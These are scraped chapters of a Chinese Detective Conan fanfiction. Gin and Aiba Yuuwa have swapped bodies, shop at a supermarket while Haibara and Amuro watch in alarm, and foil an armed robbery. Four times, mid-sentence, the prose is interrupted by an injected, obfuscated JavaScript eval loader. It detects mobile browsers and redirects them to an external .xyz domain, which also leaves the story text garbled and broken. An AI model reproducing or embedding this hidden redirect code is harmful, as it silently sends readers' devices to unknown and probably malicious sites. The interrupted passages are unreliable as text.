他扔下购物筐,转身就走,却被满满当当的人阻拦了前进的步伐。 “小伙子,别挡路呀!” “让开让开,别站这里!” 琴酒目光如霜,一双绿瞳满含杀意:“g……” “砰。” 左肩被撞了一下:“小鬼,看着点。” 琴酒稳住身体,眉眼狠戾:“你找……” “砰。” 右肩被撞了下,紧接着左肩再次被撞,琴酒的身体像落叶一般,脱离了自身的控制,只能被汹涌的人潮裹挟着不断后退,一步步远离超市大门。 几次下来,琴酒不受控制地踉跄着往后退了几步,然后,被后面满头白发的老奶奶扶住。 “哎呀小朋友,小心别摔倒了。” 琴酒立马站直,怒不可遏。 废物身体! 还买什么吃的,吃了也是浪费粮食! 老奶奶看着帽子被撞歪的粉毛琴酒,少年绷着张脸,像只误入人类地盘的刺猬。 哎呀!好可爱的孩子。裹得像个小雪球。 老奶奶满脸慈爱地帮他把毛茸茸的帽子摆正:“是没拿到想要的东西吗?来,奶奶给你,别不开心了。” 好心的老奶奶塞了两个面包在他手里。 琴酒:“………” “拿走。” 他现在只想炸了这个超市。 老奶奶:“是不想要面包吗?那这个、这个、还有这个……” “………” *** 另一边。 相叶佑禾正在又快又稳的挑选自己需要的商品。 “鸡蛋、肉、蔬菜都有了,再买点水果吧。”相叶佑禾走到水果区挑挑选选:“琴酒好像还有点咳嗽,买点梨回去煮水喝好了。” 相叶佑禾挑好后,准备前往下一个区域,却在路过雪糕时停了下来。 因为身体不好,他平时对这些东西都是能不碰就不碰,但是现在…… 相叶佑禾看着玻璃柜上倒映出来的高大身影,愉快地伸出了手。 “嘿嘿,终于能体验一把冬天吃雪糕的感觉了。” 相叶佑禾贪心地拿了两支,关好柜门后,看到隔壁的牛奶又停了下来。 差点忘了牛奶! 还好还剩一盒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984862|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 相叶佑禾迅速伸手,快出了残影。 刚要下手的老人:“……年轻人,看不出来还挺有经验的。” 相叶佑禾:“^_^” 他转身,猝不及防对上一双冰冷的绿眸。 粉毛琴酒像幽灵一样,就这么静静站在不远处,那双如宝石般的眸子没有一丝温度,比手里的雪糕还冷。 相叶佑禾情不自禁打了个哆嗦,完了,又要被骂了。 “嗨嗨,我知道,别用我的脸做出这种蠢样子。”相叶佑禾走过去,把他的台词提前说了出来。 “我骂了你就不能骂了噢。” 然而琴酒却什么都没说。 相叶佑禾疑惑地看过去,这才注意到他此刻的模样。 粉毛琴酒面无表情,手里提着的购物筐却塞得满满当当,甚至帽子上还兜了几颗糖果。 相叶佑禾感动得露出荷包蛋眼:“还以为你肯定丢下我自己先出去了,没想到……” 口嫌体正直,嘴上再厌恶,却依旧帮忙拿了折扣商品,从购物筐里放了很多没有购买价值的物品来看,他对这种事完全不熟练。 可他依然去做了! 哈基琴,你这家伙…… 相叶佑禾眼泪汪汪:“回去后我给你煮……” “拿好。”琴酒手一伸,购物筐重重抵到相叶佑禾腰上。 “嘶……你……”话音未落,琴酒直接松手,相叶佑禾连忙抓住,这才避免了东西全掉在地上。 “立刻结账走人。”琴酒双手抱胸:“这是最后一次机会,否则我叫伏特加来炸了这个超市。” 他面容冷淡,语调平平,心情似乎很平静,但周身萦绕着的怒气和杀意,相叶佑禾绝对不会感觉错。 这是暴风雨来临的前兆。 “砰砰。” 超市货架后排,一个茶发的小女孩瞳孔一缩,心脏猛地重重跳了两下。 她浑身僵硬,密密麻麻的汗水从脸上浮现。 这种感觉……这种感觉!! 炸超市…… 相叶佑禾嘴角抽了抽,你们组织的人可真嚣张。 “知道了知道了。”反正要买的东西都拿得差不多了:“走吧走吧,离开前我请你吃东西。” “不需要。” “别这么冷淡嘛,今晚你都没吃多少饭,又逛了一圈超市,现在肯定饿了。”相叶佑禾对自己的身体还是很了解的:“请你吃关东煮,或者你请我吃?” “对了,你帽子上的糖还是拿下来吧,一会忘了被收银员认为咱们偷东西就不好了。” 什么时候? 因为太混乱而没察觉到帽子上有糖的琴酒:“……” 两人往货架尽头走过,没有注意到一个戴着帽子,躲在身材圆润的老人身后的小女孩。 她戴着帽子,满脸恐惧地微微侧头。 在看到那一袭黑衣的银发男人时,冷汗直冒。 是琴酒! 是琴酒!! 他为什么会在这里?! 与灰原哀有着相同想法的,不止一人。 超市外。 隐藏在角落里的金发黑皮青年,陷入了良久的沉思。 担心被琴酒发现,安室透不敢跟得太近,就算人很多,他也谨慎地没有踏进超市,只在大致能看到里面场景的地方,暗中观察。 但是…… 他刚才看到的,那个提着购物筐与大爷大妈们抢购商品,手都快出残影了的人是……? 安室透茫然地愣了几秒,回过神后掏出手机,拨打了一个号码。 “苏格兰,你听我说!你猜我看到了什么……” 19.第 19 章 “波本,发生什么事了吗?”听到幼驯染急切的声音,诸伏景光面色一正。 他知道组织今晚的聚会,也知道安室透交上去的U盘里做了假。同为公安安插在组织里的卧底,这份任务里也有他的帮忙。 难道被琴酒发现了? 诸伏景光的呼吸变得急促起来。 安室透:“没有,不对、有……” 琴酒竟然会来超市抢打折商品,这怎么看问题都很严重吧。 听到电话那头发出细微的响动,安室透回神,终于反应过来刚才的对话,对于两个卧底来说蕴含了什么特殊意义。 他连忙解释:“确实有事情,但与我无关。” 听到这话,诸伏景光拿枪的动作一顿,他放下手枪,松了口气坐到椅子上。 “波本,别吓我啊。”他无奈地笑了一下。 不过也不能怪zero,是他反应太过激了。 这也没办法,卧底本就过着提心吊胆的日子,无法单纯理解每一句话,总要去思考表象下真正所要传达的意思。 更何况他曾经差点就暴露了…… 安室透认真道:“抱歉,我实在是看到这副场景,难以置信到有些混乱。” 诸伏景光十分好奇:“你看到了什么?” 竟然能让无论什么时候都保持理智、谨慎的zero都混乱了。 “我看到了琴酒在超市和一群大爷大妈抢半价商品。”安室透说完,电话两头陷入了久久的沉默。 半响,诸伏景光严肃道:“波本,我现在再等一个重要的电话,时间很宝贵。” 安室透:“……不,我知道这种事情很难相信,但这是真的!你相信我!” 其实不相信也对,那可是黑衣组织的头号杀手,每天不是在做任务就是去抓卧底的路上,怎么可能有时间去抢超市的半价商品。 就算是任务需要,他也会安排别人去!而不是自己上! 如果不是担心拍照会被琴酒察觉到,安室透无论如何也要拍一张。 这可是难得的黑历史! “噗……”诸伏景光弯了弯眼睛:“我没不相信你。” 要是其他人跟他说这种事,他肯定不会信,但zero是绝不会开这种玩笑的。 安室透:“……”果然,hiro在逗他玩。 “真是的……” 诸伏景光无辜地笑了笑,叹息道:“真可惜,没办法拍下来贴组织基地。” 安室透耸了耸肩:“苏格兰,你真可怕。” 诸伏景光没否认:“不过你要说的应该不止这个吧?” “瞒不过你。”安室透瞥了眼超市里,从这个角度早已看不到琴酒的身影了。 不过他清楚的记得,那个被他揽在怀里的孩子。 “他和一个身高一米七左右的人待在一起,那人半张脸被帽子遮住看不清样貌,穿得很厚实,从臃肿程度来看真实身材应该很瘦,衣服是男款、款式看起来是年轻人喜欢的,我猜……应该在16、7岁左右。” 安室透一边回忆一边分析:“琴酒和他在一起时姿态有些亲昵,在人群中也一直揽着对方将人护在怀里……” 安室透说着说着,脑海里突然浮现出伏特加的话。 ‘大哥他啊,坠入爱河了!’ 虽然最后两个字是他补全的,但他可以肯定伏特加就是这个意思! “嗯?你怎么停下来了?”诸伏景光思索了两秒,恍然大悟:“你该不会认为琴酒和那男孩是那种关系吧?” 安室透立马否定:“怎么可能!” 他反而有种一切都说得通了的感觉。 这个被小心翼翼呵护着的男孩——是琴酒这次的任务对象。 伏特加不知道,所以才会以为琴酒恋爱了。 安室透将信息共享给幼驯染后,道:“连伏特加也不知道,说明……” 诸伏景光接道:“说明任务对象十分重要。” 重要到让琴酒不惜抛下脸面,也要陪对方去超市抢半价商品。 “竟然采取这种温和的手段,那个男孩到底是什么人?”安室透拧眉。 他又把今晚任务交接时,所有的对话都在脑海里回忆了一遍。 琴酒一直戴着耳机、对他们所汇报的事明显没有平时上心,甚至还把手头上的任务给了他,说有更重要的事…… 小樱花…… “该不会是黑客‘樱’吧。”安室透将声音压低:“那个少年,会和‘樱’有关系吗?” 樱…… 诸伏景光微愣。 这个代号实在熟悉。 当初谁也没想到,组织的人员竟然潜入到警视厅的深处,险些获得了卧底名单,如果不是那个名为‘樱’的黑客,他恐怕已经被组织处理了吧。 虽然‘樱’的行为像是在挑衅警方,但是诸伏景光和降谷零是真心感谢他,不论他出于什么目的,结果都是保住了卧底们的姓名,还让他们成功抓到了行为诡异的组织卧底。 不过‘樱’也因此上了黑衣组织的捉捕名单,每个组织成员都接收到了这个命令,只不过因为‘樱’实在难找,这个任务才慢慢淡下来。 但当‘樱’的线索和其他任务冲突时,‘樱’就成为了优先等级,足以见得组织对这名黑客的势在必得。 “这也就说得通,琴酒为什么会把手里的任务交给你。” 况且。 与其说‘樱’是一个仗着实力,狂妄自大、嚣张得无法无天的人,诸伏景光觉得,他更像一个调皮的孩子。 单纯的让人吃瘪、跳脚来获取快乐。 诸伏景光相信不止他这么认为。 zero、琴酒……他们这些对‘樱’十分上心,耗费无数时间,试图从细枝末节中分析出对方性格的人,都会有这种想法吧。 “如果真是这样就糟了。”安室透眉眼微垂。 公安必须要得到樱。 除了想要拉拢人才外,还无法放任这样一个威胁的在外游荡。 他曾经入侵公安系统,一定看到了那份卧底名单。即使至今为止都没有暴露出来,但在不确定他是敌是友前,那份名单就像达摩克利斯之剑一样,悬在卧底们头顶。 公安也做出了行动,将一部分卧底接了回去,替换了新人。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986997|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是深入各个组织的成员,出于各种原因没办法立即召回。 ‘樱’没有其他举动,在想出能全身而退的办法之前,他们只能按兵不动。 更何况,他们付出了许多时间和精力才到达如今的位置,让他们撤走舍弃一切,实在难以割舍。 可之后,他们依旧安全。 ‘樱’没有将名单暴露出去。 公安也派了相关人员去沟通、调查,没办法取得联系,却也发现‘樱’大多数活动,都是在攻击一些犯罪势力。 这点也让公安稍微放心下来。 “我们要想办法接近那孩子,调查清楚他的身份,就算不是樱,能让琴酒这么认真对待也必然不简单。”安室透不认为琴酒会做无意义的事,更不认为是伏特加所说的——坠入爱河。 “嗯,你要小心,琴酒上次给你发的蛋糕图片还不知道是怎么回事,不要靠得太近。”诸伏景光有些担忧:“我也会想办法接近他们的。” 再次提到蛋糕图片,安室透眉头微皱:“说起来,那张图片该不会是在警告我和你……” “让开让开!别挡道!”粗旷的嗓音在耳后炸开,一边观察超市,一边思考的安室透被人推了一把。 他侧过头,几个强壮的男人,气势汹汹地走进超市。 安室透目光落在他们腰间凸起的地方。 那是……手枪。 *** “真的不吃吗?我好像都听到你肚子咕咕叫了。”相叶佑禾说着,还弯腰凑到琴酒身前,证明听到了声音。 琴酒一巴掌推开他的脸:“站直,别像条蛆一样扭来扭去。” 相叶佑禾:“……你自己的……” 他看了眼前后排队结账的人,再次靠近,一只手遮住嘴巴小声道:“你居然说你自己的身体是蛆。” 琴酒双眼微眯。 这小废物真是越来越肆无忌惮了。 “啪!” 重物落地的声音响起,相叶佑禾抬眸,一眼发现了人群中慌乱的两道身影。 胖胖的白胡子老人站在前面,身后藏着露出一角的小手。 那是——阿笠博士和灰原哀! 怎么会在这遇到熟人! 相叶佑禾有一瞬间慌张。 “怎么?”见他一直盯着一个地方,琴酒侧头。 不好!不能让阿笠博士和灰原哀看到他的脸,不然上来打招呼就全完了! “没什么!”相叶佑禾一把捧住琴酒的脸,猛地扭了回来。 他忘记了此时还保持着弯腰说悄悄话的姿势。 四目相对,湿热的呼吸喷洒在脸上,两人都微微怔了一瞬。 琴酒率先反应过来,扣住他的手腕,眸光如刀:“手不想要了么?” “啊哈哈,当然……”相叶佑禾也觉得有些尴尬,他讪笑两声,正准备松开时,‘砰’地一声,枪声响起。 “不许……”持枪的壮汉洋洋得意地往前走了一步,想要欣赏众人惊恐的表情,目光却落在捧着脸、姿势亲密的两人身上。 不许动三个字卡在喉咙里,脱口而出:“老大快看,竟然有男同在啵嘴!” 20.第 20 章 相叶佑禾:? 琴酒:? 相叶佑禾看了眼指着自己的歹徒,又看了眼琴酒,不愿相信地问:“他是在说……我们?” 琴酒冷冷地看了他一眼:“不.然.呢。” 最后一丝希望破灭,相叶佑禾连忙松手、站直身体,一整套动作快如闪电。 “哈?!”他难以置信地反驳:“谁、谁在啵嘴了!” 他?和琴酒?! 这个突然冒出来的混蛋哪只眼睛看出他们是在、在…… 知不知道他和琴酒只是被迫绑在一起,一旦换回来就你死我活的焦灼关系啊瞎眼怪! “哟,还害羞,你们在结账队伍里,不在意前后左右的人啵嘴时怎么不害羞了。”歹徒从他老大旁边上前一步,边说边发出看好戏的笑容。 藏在阿笠博士身后的灰原哀,紧紧攥住衣角的手不知何时松开了。 她脸上浮现出茫然的神色,瞳孔中满是不可思议。 虽然没看到,但歹徒说的琴酒和人啵、啵、啵……啵嘴!她是一点都不信! 肯定又是在粗暴地掐住别人的脸、或者喉咙威胁,只不过因为周围满满当当的人不好操作,刻意收敛了动作,这才引发了误会! 绝对是这样! 不正常的是……琴酒刚才的声音,在……结巴? 就像歹徒说的……害羞…… 灰原哀脑子有点乱。 谁?琴酒?害羞?结巴? 琴酒因为害羞而结巴?! 灰原哀猛地摇了摇头,把脑海里惊悚的想法甩出去。 她一定是太过恐惧,才产生了这么可怕的幻觉把琴酒说的话给听错了。 她瞥了眼队伍中间,仅仅只是看到琴酒的背影,那浓稠的黑色如同从深渊中探出的手,紧紧遏制住喉咙无法呼吸。 没有错的,就是琴酒。 她刚才果然听错了。 灰原哀又将身体缩回阿笠博士身后,把头顶上的帽子拉低一些。 她很庆幸刚才挑选商品时,有拿口罩。 口罩和帽子给了她几分安全感,接下来,要快点离开这里才行。 她一边用侦探徽章联系江户川柯南报警,一边偷偷观察着那边的发展。 对于那个胆敢戏弄琴酒的歹徒…… 灰原哀只能说……无知的蠢货,等死吧。 琴酒下一秒掏出伯/莱/塔把人一枪崩了她也不意外。 重要的是,接下来会怎样。 这间超市里的所有人,在看到琴酒杀人的那一刻,就注定会拥有被灭口的命运。 灰原哀心提到了嗓子眼,喉咙干涩得可怕,她一眨不眨地盯着那个一身黑衣的男人,手心满是冷汗。 他会怎么做…… 穿着黑色风衣的男人一只手缓缓抬起,而后插进了兜里。 他要拿枪了!他果然选择直接杀人! 灰原哀心脏猛地跳了两下,她死死揪着衣服,瞳孔颤抖。 怎么办、怎么办…… “都说没有了!”青年有些气急败坏的嗓音响起。 欸? 灰原哀一懵。 他对歹徒振振有词道:“我戴着口罩怎么啵嘴!” 睁大你的狗眼看清楚了!哪有人接吻不摘口罩的!! 灰原哀:……? 灰原哀:???!!! 疯了,这个世界疯了。 还是说她其实发烧了,只是没感觉出来,现在已经严重到把脑子烧坏了,所以才会看到琴酒竟然和歹徒理论,拼命辩解自己没做那种事…… 灰原哀恍惚地看着那边发展。 “也是。”歹徒疑惑道:“那你啵嘴为什么不摘口罩?” 相叶佑禾:“……” 他有些崩溃:“都说了没啵嘴!” 啵嘴啵嘴的!这个混蛋在对一个连小手都没牵过的纯情男高说什么啊!! 相叶佑禾藏在口罩下的脸都红了。 透过露出来的眉眼,琴酒随意一撇就将他脸上的红晕看得清清楚楚。 “………” 那因歹徒口出狂言而怒不可遏的心情,在这看到自己的脸竟然露出如此不争气的神情时,多了几分难以言喻的窒息感。 他深深吸了一口气,将目光移开,生怕会忍不住先给身边人来上一枪。 琴酒没好气地踢了相叶佑禾一脚,不容置疑道:“去,杀了他。” 相叶佑禾:“?” “好可怕,你在说什么,我听不懂。” 他是遵纪守法的良民啊! 琴酒:“。” “嘀嘀咕咕的说什么!要调情也不看看地方!”歹徒老大推开小弟,嚣张地朝天花板开了一枪。 灯泡炸开,玻璃碎片裹挟着细小的钨丝从空中落下,尖叫声此起彼伏地响起。 “老大,这几个是刚才想趁机逃跑的人。”歹徒2号动作粗鲁地将几个普通市民推了过来,一脚踹到了地上。 超市里的人们害怕的和身边的人聚在一起,紧张地看着歹徒们。 “嗯,很好。”歹徒满意地看着面前的场景,侧头吩咐小弟:“去把卷帘门关上。” “好嘞。” 小弟们做事麻利,三两下把门关上。 “好了,你们都给我放下手机,到那边排队站好,不准做小动作,否则就请你们吃枪子!” 一群人被迫往货架走去。 琴酒转身,目光朝人群中扫去。 因为歹徒的发言,他和相叶佑禾身上集中了很多好奇打探的目光,但其中有一道不同,那是专门锁定、暗中观察的目光。 是谁? 目标是他还是相叶佑禾? 琴酒双眼微眯。 有意思,这小小的超市里还真是卧虎藏龙。 相叶佑禾走了两步,发现琴酒还跟木桩一样杵在原地,成功误会了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990556|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他连忙拉过琴酒,小声道:“大佬,我求你了,别拿我的身体当靶子,待会真被打了怎么办。” 琴酒脸上写满了不悦:“别把我想得跟你一样蠢。” 他是不爽被几个脚步虚浮的歹徒困住,但也不会傻到没实力硬逞强。 走到货架旁,歹徒们拿起购物筐走来,凶神恶煞地喊:“把你们的手机都放到里面来,动作快点!” 琴酒双手抱胸,目光冷冷从歹徒们身上扫过,低声道:“一会听我指令,你去把他们都解决了。” 相叶佑禾左看看右看看:“这里没有你小弟啊。” 完全不知道这一举动,让某个藏在人群中的茶发女孩将脑袋垂得更低了。 相叶佑禾继续死装:“你在和谁说话呀。” 琴酒冷冷看着他,一言不发。 相叶佑禾:“……” “我吗?真的是我吗?你确定要让我上吗?” 琴酒:“废话。” 相叶佑禾:“可是我不会打架啊,你的肌肉记忆要是突然失灵怎么办?” 琴酒语调淡淡:“你刚才偷偷报警了吧?” 在和歹徒对峙的时候,他的手伸进了口袋里。 相叶佑禾手机玩得很六,在组织聚会、全是代号成员的场合还敢一直给他发消息,琴酒可不认为那是单纯心大,或者相信他在组织里的地位能为所欲为。 这小废物平庸的表象下,隐约藏着一些不知原因的自信。 相叶佑禾轻轻‘嗯’了一声。 他刚才确实悄咪咪地报了个警。警察来了会对顶着杀手身份的自己不利,可超市里这么多人,总不能因为自己就对其他人见死不救吧。 不过现在想想,灰原哀在这里,想必已经用侦探徽章联系江户川柯南了吧。 一会来的不止有警察,还有难缠的名侦探。 相叶佑禾面容凝重。 “既然知道后果,就快点解决他们。”琴酒收回目光:“不用担心,我会辅助你的。” “不用。” 他们所在的货架处正好放有口罩,相叶佑禾拿了一个拆开,戴在琴酒脸上,顺便把帽子拉得更低。 他看着那双冷漠的绿眸,严肃道:“我会解决掉他们,但是你要好好待在原地,藏好你的脸,不准做出惹眼的举动!” 灰原哀和阿笠博士可就在他们后方不远处!他绝对不能掉马! 此时的灰原哀正在用手给自己量体温。 没有发烧啊…… 但是那个跟人争执,就差面红耳赤的琴酒…… 灰原哀咽了咽口水,她很清楚自己不能再看了,以琴酒的敏锐程度绝对会发现视线,但是…… 太奇怪了! 她就看一眼,就一眼! 灰原哀偷偷探出脑袋,不远处,琴酒温柔地捧着少年的脸,深情对视。 “……” 不管你是谁!快从琴酒身上下来! 21.第 21 章 又来了,那道视线。 琴酒扭头,锐利的眸光朝人群中射去,精准锁定某处。 “!!” 灰原哀猛然惊醒,迅速将身体缩在阿笠博士身后,浑身僵硬,发不出一点声音。 这个少年……也是组织的人! “小哀,你怎么了?”阿笠博士担忧地侧头。 “没、没什么……”灰原哀垂着脑袋,仿佛要把自己缩进地底。 她伸出手,用颤抖的指尖抓住阿笠博士的衣服,伪装出孩童的哭腔:“爷爷,好可怕,我们要待到什么时候……” 琴酒紧紧盯着女孩鹌鹑一样的脑袋,眸中布满了审视和思考。 看上去只是孙女向爷爷诉说害怕,但刚才的视线,不会错的。 是谁? 他越过阿笠博士和灰原哀,把他们周围的人一一扫过。 相叶佑禾还以为琴酒又懒得搭理自己,顺着他的目光看去,一大一小的熟悉身影,让他心跳漏了一拍。 “活爹!别往那边看!”他一把将琴酒的脸扭转回来。 琴酒挑眉:“有你认识的人?” “对!”相叶佑禾提醒道:“之前说好的,尽量不让各自熟悉的人发现对方的存在。” 怪不得。 他们大概是看自己像认识的人,才一直偷偷观察。 琴酒收回目光,似乎接受了这个理由,又似乎没有。 相叶佑禾:“所以你听到我刚才说的话了吗?” 琴酒敷衍地‘嗯’了一声。 “……”相叶佑禾觉得他一点都不走心:“你要是不……” “怎么又是你俩?”陌生的声音让相叶佑禾咽下嘴里的话。 歹徒二号拿着装满手机的购物筐走过来:“你们又在……” 相叶佑禾瞳孔一缩。 大嘴巴,闭起来! 他语速飞快地打断歹徒:“没有,不是啵嘴!不是男同!这是我弟弟,他脑子有点傻,傻到连挨冻都不知道,所以我帮他整理帽子!” 刺骨的冷意扑面而来,无尽的肃杀以某人为起点,迅速蔓延。 不用回头,相叶佑禾也能知道琴酒有多生气。 无他,区区脑袋要被视线烧出个洞来罢了。 “确实挺冷的。”歹徒被冻得打了个寒颤。他搓了搓手臂,奇怪,空调明明是开着的啊。 他看了眼两人,同情道:“你也不容易啊,不过手机还是要上交,钱也一样!” 相叶佑禾无语。 他把自己的手机放进筐里,又去琴酒口袋里捞他的。 “呵。”琴酒嘴角勾起一抹冰冷的弧度,听得人心里直哆嗦。 “不用,我自己会拿。” 相叶佑禾:……可恶的琴酒,拆他台! “嗯?你不是说你弟弟是傻子吗!这不是会好好说话吗!”歹徒看了眼琴酒,被他那没有一丝温度的眼睛吓了一跳。 明明只是个小少年而已,气势怎么这么恐怖? 他连忙看向相叶佑禾,银发男人即使戴着口罩也无法遮掩里面的心虚。 歹徒恍然大悟:“在吵架啊!” 怪不得小少年这么吓人。 “肯定是你刚才不承认,惹人家生气了。”他看乐子又带着几分语重心长:“我说你啊,谈恋爱就要给足对方安全感!不管面对的是什么都别藏着掖着,要大大方方承认,态度很重要!” 相叶佑禾:“……我们没有谈恋爱。” 歹徒2号板着张脸:“不要害怕世俗的眼光,连这都不敢承认,你算什么男人!” 相叶佑禾:“……” “好吧,你说是什么就是什么。” 歹徒2号一拍手:“你看!这就是我说的态度问题!你还要对象不要?” 相叶佑禾真服了。 恨不得给这个听不懂人话的歹徒梆梆两拳。 他呵呵一声:“没想到你还挺有恋爱经验的。” 歹徒2号得意一笑:“那是,别看我这样,感情经验可丰富了。要不要我传授你几招?” 事已至此,相叶佑禾决定洗耳恭听,不打断歹徒的表达欲。 “您说。” 琴酒:“。” “你很闲?” 相叶佑禾和歹徒2号异口同声:“没有。” 两人愣了一下。 相叶佑禾:你为什么回答? 歹徒2号:我为什么回答? “那还不快去做你该做的事。”琴酒淡漠的语调没有多少起伏,但却蕴含着身居高位者的不怒自威。 “好的!”歹徒2号下意识挺直背脊,转身往柜台跑去。 跑到一半突然顿住。 等等,他在干什么?!那小子不是他老大啊! 歹徒2号准备回去算账时,听到了同伴的呼唤。 “你在磨蹭什么?你那边都收好了吗?好了快来这边帮忙。” “差不多了,这就来。”他回头看了眼两人,臭小子,敢命令他,回头跟你算账! 相叶佑禾一言难尽:“我们米花町真是人才辈出啊……” 一个敢说,一个敢做。 人才?在琴酒眼里,全都是蠢货。 他道:“回去再跟你算账,先解决眼下的问题。” 歹徒一共五人,两人持枪,剩下的三人只有杀伤力较小的刀具。 持枪劫匪一个观察着人质们,防止有人暴起,一个正在收银台旁催促着收银员装钱。另外三人收缴物品。 “等他们三收完东西去找另外两人汇合时,我就出手,对吧?”相叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14996659|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佑禾想要一次性把所有人解决,只能抓准那一刻时间,错过了,就很难再下手了。 “嗯。”琴酒瞥了眼绷着身体的相叶佑禾:“把枪给我。” 如果相叶佑禾失败或是有纰漏,他还能在旁边力挽狂澜。 “放心,我不会让人发现是谁在开枪。” 相叶佑禾拍开那只朝腰间探来的手,瞪了他一眼:“想都别想!” 琴酒冷冷提醒:“枪的主人是我。” “我知道。”相叶佑禾一边观察歹徒们的动向,一边在心里规划路线,怎么走才能用最快的速度出现在几人面前将人ko。 心不在焉地回:“这种东西我也不想要。” 嘴上这么说,却把枪捂得死死的。 琴酒不悦,却也没有再进行无畏的争执。 一旦与自己的身体扯上关系,这小子就变成一个不懂变通的固执小鬼。 他随手抓起货架上的一包糖,用力一扯。五彩斑斓的包装纸暴露在空气中。 听到细微的声响,相叶佑禾抽空瞥了一眼。 还是混合果味的,他最喜欢菠萝味。 琴酒扫了眼走向收银台汇合的歹徒,语气淡淡:“你可以行动了。” 他抬起手,用力一挥。 五彩斑斓的硬糖从手中飞出,精准地洒向歹徒们前行的地面。 ‘嗤——’尚未反应过来的歹徒一脚踩了上去,猛地一个后仰。 他视线里的世界正在逐渐倾斜时,瞳孔中倒映出货架倾斜的影子。 “快闪开!”巨大的货架在瞳孔中不断放大,凌乱的货物像雨点般坠落,后方的歹徒老大爆呵一声,提醒位于货架下方的小弟。 然后来不及了,那三人因为突然出现的糖果稍微耽搁了行动,即使就一两秒的时间,也已经来不及逃跑了。 与此同时,一道黑色的身影悄然而至。 “咔嚓”,伴随着骨裂的清脆声响,持枪1号的手猛地向上扬去,手枪飞出,在空中旋转着,而他的手呈不正常姿势垂下。 “啧!混……”歹徒老大瞬间反应过来,举枪对准银发男人。 然而男人的动作更快。 一阵冷风袭来,那道黑色的幻影如鬼魅般出现在身后,他握枪的手腕被银发男人稳稳握住,一折一举。 在歹徒老大反应过来时,他的手像被铁钳紧紧锁住,握着枪对准了自己的太阳穴,任凭他用尽全身力气也无法移开一分一毫。 而喉咙上,也被一只修长冰冷的手紧紧扣住,用力一捏,痛得歹徒老大差点翻白眼。 他看不到男人的脸,只能听到一声轻飘飘地:“别动。” 那仿佛自地狱而来的深渊,让歹徒老大浑身血液凝固,恐惧如潮水涌来。 他、他到底是什么人? 22.第 22 章 枪口紧紧抵在太阳穴,只要那只手稍微扣动扳机,他的生命就会到此结束。 歹徒老大浑身被汗水打湿,他拼命控制着颤抖的幅度,哀求道:“我不动,我不动!求您别开枪!” 超市里面乱作一团,有惊呼、也有惨痛的尖叫声。 普通市民们惊恐地看着倒塌的货架,纷纷往后退,有些没反应过来发生了什么。 被压在货架下的歹徒们,因为疼痛蜷缩着身体,另一个捂着不自然垂落的手,扭曲的面容上满是汗水。 先不说歹徒有没有被吓破胆,相叶佑禾自己就吓得够呛。 一切发展按照预想中的进行。 琴酒将糖扔出时,相叶佑禾一脚踹到货架上,推倒货架的同时借力飞向最近的持枪歹徒,用最快的速度打倒他,并夺走最后一个歹徒老大的枪。 将这两人解决,剩下那三个若是没有被货架砸伤,也不成气候。 一切都很成功。 但是…… 他只是想把歹徒1号的枪踢飞而已,手怎么就断了?! 他只是想控制住歹徒老大做个人质而已,结果左手差点把人脖子拧断,右手自动搭上扳机,差一点点就扣下去了!! 真的,就差那么一点点! 这就是杀手经过千锤百炼后的肌肉记忆吗? 相叶佑禾佩服的同时,也一阵后怕。 差点就成杀人犯了! “混蛋……”躺在地上的歹徒被砸得眼冒金星,他翻过身想要爬起来,目光所到之处,一把黑色的手枪静静躺在地上。 小子,你死定了。 他费劲地爬了两下,伸长了手。 手指即将触碰到枪,他的脸上露出狰狞的笑容。 就在此时,一只黑色的雪地靴踩在了他的手上。 它毫无征兆地出现,静静将这只能触碰到希望的手踩在脚底。 是谁?! 歹徒愤怒地抬起头,对上一双冰冷的绿瞳。 如同万年不化的冰川,带着令人绝望的淡漠。 那明明只是一个少年而已,他穿着厚实的衣服,将衣领拉到最高,手套放在口袋里,戴着毛茸茸的帽子、连耳朵也好好遮住。 像是一个遵循家里人要求,认真做好保暖措施的乖孩子。 